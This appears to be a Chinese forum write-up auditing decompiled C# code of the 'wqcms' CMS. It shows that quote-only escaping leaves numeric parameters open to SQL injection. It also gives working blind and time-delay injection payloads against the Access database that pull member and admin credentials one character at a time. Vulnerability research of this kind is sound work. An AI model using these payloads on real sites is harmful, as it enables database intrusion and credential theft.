private void xaef3235cdd23255e() { string text = base.Server.UrlDecode(base.Request.Form["cid"]); while (true) { IL_3E0: string str = base.Server.UrlDecode(base.Request.Form["aid"]); string text2 = "{\"result\":"; bool flag; string[] array; if (string.IsNullOrEmpty(text)) { if (false) { break; } goto IL_26; } else { if (int.Parse(text) <= 0) { goto IL_26; } flag = true; if ((flag ? 1u : 0u) >= 0u) { text2 += "1,\"data\":["; array = new string[5]; array[0] = "select e.ID,eName,vName,eCss from wqcms_expand e left join wqcms_extval v on v.eID=e.ID where nID="; array[1] = WbText.SqlEncode(str); goto IL_391;
array = new string[5]; array[0] = "select e.ID,eName,vName,eCss from wqcms_expand e left join wqcms_extval v on v.eID=e.ID where nID="; array[1] = WbText.SqlEncode(str); goto IL_391;[/mw_shl_code] 这里的sql语句就不说了,数组array1中的sqlencode我们跟进一下是什么操作 [mw_shl_code=csharp,true]public static string SqlEncode(string str) { str = str.Replace("'", "''"); return str; }
IL_391: array[2] = " and clsID="; goto IL_372; IL_2AF: object[] array3; array3[2] = dataReader["ID"]; if ((flag ? 1u : 0u) > 4294967295u) { goto IL_391; }
IL_372: if (!false) { array[3] = WbText.SqlEncode(text); array[4] = " order by eSort asc"; cmdText = string.Concat(array); goto IL_34E; }
IL_34E: dataReader = this.dbHelper.ExecuteReader(CommandType.Text, cmdText, new IDataParameter[0]); goto IL_1C0;
select e.ID,eName,vName,eCss from cms_expand e left join cms_extval v on v.eID=e.ID where nID=1 and cisid=1 order by eSort asc
and (ASCII(SUBSTRING(db_name(),1,1))=ascii) |
and (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12,MSysAccessObjects AS T13,MSysAccessObjects AS T14,MSysAccessObjects AS T15)<>0 and (select top 1 asc(mid(s_pwd,1,1)) from admin where id=1)=ascii
这里其实是有问题的,在本地以及在实际环境中测试的时候都会爆错,于是自己修改成功延时,不过这里的延时注入是不带任何判断性的,也就是每请求一次都会延时所以没法正常判断某个值是不是真的存在所以自己再研究修改最终语句如下:
(select iif(mid(name,1,1)="a",(SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)<>0,3) from wqcms_member where id =1)
select e.ID,eName,vName,eCss from wqcms_expand e left join wqcms_extval v on v.eID=e.ID where nID=(select iif(mid(name,1,1)="a",(SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)<>0,3) from wqcms_member where id =1)and clsID=1 order by eSort